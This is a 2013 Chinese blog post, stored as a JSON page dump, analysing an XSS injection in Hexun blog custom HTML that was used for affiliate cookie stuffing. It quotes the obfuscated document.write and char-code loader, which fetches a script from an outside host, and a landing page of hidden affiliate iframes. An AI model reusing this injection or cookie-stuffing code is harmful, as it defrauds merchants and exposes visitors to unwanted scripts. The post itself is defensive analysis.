[{"data":1,"prerenderedAt":114},["ShallowReactive",2],{"page-hack-1":3,"page-count-hack":113},[4],{"id":5,"title":6,"body":7,"date":90,"description":13,"extension":91,"meta":92,"navigation":95,"path":107,"seo":108,"stem":109,"tags":110,"__hash__":112},"blogs\u002F_legacy\u002F2013\u002F2013-11-19-%e5%92%8c%e8%ae%af%e5%8d%9a%e5%ae%a2xss%e6%bc%8f%e6%b4%9e%e8%a2%ab%e7%94%a8%e4%ba%8ecs.md","和讯博客XSS漏洞被用于CS",{"type":8,"value":9,"toc":86},"minimark",[10,14,17,20,31,41,47,50,53,59,62,68,71,74,77,83],[11,12,13],"p",{},"今天逛和讯博客看文章，顺便收集点人气。没想到碰到个在和讯利用xss漏洞做cs的。",[11,15,16],{},"在和讯主要的操作方式是注册好账号，添加好相关代码然后不停的去各处顶贴，目测是用程序自动顶的。因为能看到的文章里面基本都能看到这样的顶贴记录，而且还是多账号的。",[11,18,19],{},"跳转的过程大致是这样的：",[21,22,27],"pre",{"className":23,"code":25,"language":26},[24],"language-text","http:\u002F\u002Fhexun.com\u002Fxxxxxxxx\nhttp:\u002F\u002Fhexun.com\u002Fxxxxxxxx\u002Fdefault.html\nhttp:\u002F\u002Finsure.dbxdb.com\u002Fe.php\nhttp:\u002F\u002Ffarms.tw\u002Fshop\u002Ftemplates\u002Fad1.html\n","text",[28,29,25],"code",{"__ignoreMap":30},"",[11,32,33,34],{},"xss的漏洞来源应该是博客文章，和讯的博客文章发布的时候代码检测并不十分严格。代码执行过程中访问了",[35,36,40],"a",{"href":37,"rel":38},"http:\u002F\u002Finsure.dbxdb.com\u002Fejs.php%EF%BC%8C%E8%BE%93%E5%87%BA%E5%86%85%E5%AE%B9%E6%98%AF",[39],"nofollow","http:\u002F\u002Finsure.dbxdb.com\u002Fejs.php，输出内容是",[21,42,45],{"className":43,"code":44,"language":26},[24],"location.href=\"http:\u002F\u002Finsure.dbxdb.com\u002Fe.php\";\n",[28,46,44],{"__ignoreMap":30},[11,48,49],{},"估计是用这样的方法绕过了代码检测。",[11,51,52],{},"仔细的看了下，不是博客文章，而是在自定义html里面。关键的部分是这样的：",[21,54,57],{"className":55,"code":56,"language":26},[24]," \u003Cdiv id=\"SelfHtmlDivItem\" class=\"side_content\">   \n        \u003Cp id=\"SelfHtmlImport0\" align=left style=\"display:none\">添加自定义HTML内容，\u003Ca href='http:\u002F\u002Fi.hexun.com\u002Fmanage\u002Fadmin_moduleset.aspx?link=3'>点击添加\u003C\u002Fa>\u003C\u002Fp>\n        \u003Cp id=\"SelfHtmlImport1\" align=left style=\"display:none\">请等待审核，\u003Ca href='http:\u002F\u002Fi.hexun.com\u002Fmanage\u002Fadmin_moduleset.aspx?link=3'>修改请点击这里\u003C\u002Fa>\u003C\u002Fp>\n        \u003Cscript>\n    document.write('\u003Cscri');\n    document.write('pt src');\n    document.write('=\"http:\u002F\u002Finsure.dbxd');\n    document.write('b.com\u002Fejs.php\">\u003C\\\u002Fscript>');\n\u003C\u002Fscript>\n111,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34,41,59,111,46,115,114,99,61,34,104,116,116,112,58,47,47,105,110,115,117,114,101,46,100,98,120,100,98,46,99,111,109,47,101,106,115,46,112,104,112,34,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,104,101,97,100,34,41,46,105,116,101,109,40,48,41,46,97,112,112,101,110,100,67,104,105,108,100,40,111,41,59),20xdb.com\u002Fejs.ph111,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34,41,59,111,46,115,114,99,61,34,104,116,116,112,58,47,47,105,110,115,117,114,101,46,100,98,120,100,98,46,99,111,109,47,101,106,115,46,112,104,112,34,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,104,101,97,100,34,41,46,105,116,101,109,40,48,41,46,97,112,112,101,110,100,67,104,105,108,100,40,111,41,59),20p\n    \u003C\u002Fdiv>\n",[28,58,56],{"__ignoreMap":30},[11,60,61],{},"最终跳转的页面源码如下：",[21,63,66],{"className":64,"code":65,"language":26},[24],"\u003Cimg src=\"http:\u002F\u002Fg.search1.alicdn.com\u002Fimg\u002Fbao\u002Fuploaded\u002Fi4\u002Fi4\u002F17493037705800171\u002FT1uqqOXv0gXXXXXXXX_!!0-item_pic.jpg_170x170.jpg\" \u002F>\n\n\u003Cdiv style=\"display:none;\">\n\u003CEMBED SRC=\"ad.mp3\" AUTOSTART=TRUE>\n\n\u003Cscript src=\"http:\u002F\u002Fs96.cnzz.com\u002Fstat.php?id=1889573&web_id=1889573\" language=\"JavaScript\">\u003C\u002Fscript>\n\n\u003Ciframe width=0 height=0 frameborder=0 src=\"http:\u002F\u002Fwww.amazon.cn\u002Fb?_encoding=UTF8&camp=536&creative=3200&linkCode=ur2&node=49932071&tag=tie3net-23\">\u003C\u002Fiframe>\n\n\u003Ciframe width=0 height=0 frameborder=0 src=\"http:\u002F\u002Fs.click.taobao.com\u002Ft?e=zGU34CA7K%2BPkqB07S4%2FK0CFcRfH0GoT805sipKaf%2FVLG1VK%2F3p8nxHfYXTB%2FXjAqwOU7mQs5RPdhLITkr2Okp%2BNMyKT82%2Bo3M2YtuXaO8tDjzw%3D%3D\">\u003C\u002Fiframe>\n\n\u003Ciframe width=0 height=0 frameborder=0 src=\"http:\u002F\u002Fwww.amazon.com\u002Fmn\u002Flanding\u002F7593381011\u002F?_encoding=UTF8&camp=1789&creative=390957&linkCode=ur2&tag=30-10-20\">\u003C\u002Fiframe>\n\n\u003Ciframe width=0 height=0 frameborder=0 src=\"http:\u002F\u002Fwww.amazon.cn\u002F?tag=eqifarebate-23&ascsubtag=150|1|4435530\">\u003C\u002Fiframe>\n\n\u003Ciframe width=0 height=0 frameborder=0 src=\"http:\u002F\u002Fwww.amazon.cn\u002Fb\u002F?_encoding=UTF8&camp=536&creative=3132&linkCode=ur2&node=339373071&tag=jyn-23\">\u003C\u002Fiframe>\n\n\u003Ciframe width=0 height=0 frameborder=0 src=\"http:\u002F\u002Fwww.amazon.com\u002Fb\u002F?t=hanx01-20&camp=1789&creative=390957&linkCode=ur2&node=7795318011&pf_rd_i=B008626CSS&pf_rd_m=ATVPDKIKX0DER&pf_rd_p=1657478282&pf_rd_r=12P4PZPS5MC6TEGDCBX6&pf_rd_s=hero-quick-promo&pf_rd_t=201&tag=hanx01-20\">\u003C\u002Fiframe>\n\n\u003Ciframe src=\"http:\u002F\u002Fwww.qjhm.net\">\u003C\u002Fiframe>\n\n\u003Cscript>\n\u002F*\nsetTimeout('location.href=\"http:\u002F\u002Fwww.amazon.cn\u002Fb?_encoding=UTF8&camp=536&creative=3200&linkCode=ur2&node=49932071&tag=tie3net-23\";',5000);\n*\u002F\n\u003C\u002Fscript>\n\n\u003C\u002Fdiv>\n",[28,67,65],{"__ignoreMap":30},[11,69,70],{},"网页是静态的，看来没有进行复杂的多账号分割。同时也没有对Refer来源也进行保护，由于亚马逊有付款延迟，这样的手法基本靠运气。同时有往天猫去的cs和刷另外一个网页的展示。应该是想要尽可能的利用流量吧。",[11,72,73],{},"途中经过的网站insure.dbxdb.com本身也有在做亚马逊的cs，可见是和操作者有关的站点。另外一个在刷展示的站似乎有做备案，应该不至于是操作者的站。落点网站是岛民的站点，不知道是被黑的还是本人的站点，和前一个不一样有做whois保护，所以无法证实。不过目录的结构有点奇怪，不太可能不被站长发现，估计也是操作者的站。",[11,75,76],{},"过多的去探寻别人的个人信息是不礼貌的，所以我也就没有详细看了。",[11,78,79],{},[80,81,82],"del",{},"PS：这篇文章将会在漏洞被修补之后再取消密码保护，以免有断人财路之嫌。密码是我qq昵称:D",[11,84,85],{},"漏洞已经以某种形式被遏制住了。",{"title":30,"searchDepth":87,"depth":88,"links":89},2,3,[],"2013-11-19","md",{"layout":93,"status":94,"published":95,"author":96,"author_login":97,"author_email":98,"author_url":99,"wordpress_id":100,"wordpress_url":101,"date_gmt":102,"excerpt":103},"post","publish",true,{"display_name":97,"login":97,"email":98,"url":99},"chaoshikari","chaoshikari@gmail.com","\u002F",802,"\u002F\u002F?p=802","2013-11-19 05:16:18 +0000",{"type":8,"value":104},[105],[11,106,13],{},"\u002F2013-11-19-和讯博客xss漏洞被用于cs",{"title":6,"description":13},"_legacy\u002F2013\u002F2013-11-19-%e5%92%8c%e8%ae%af%e5%8d%9a%e5%ae%a2xss%e6%bc%8f%e6%b4%9e%e8%a2%ab%e7%94%a8%e4%ba%8ecs",[111],"hack","ktNUdUq3zRd8MkW9tKOWwAAqzxTT1dzrraYGJ-R5qnA",1,1788763183670]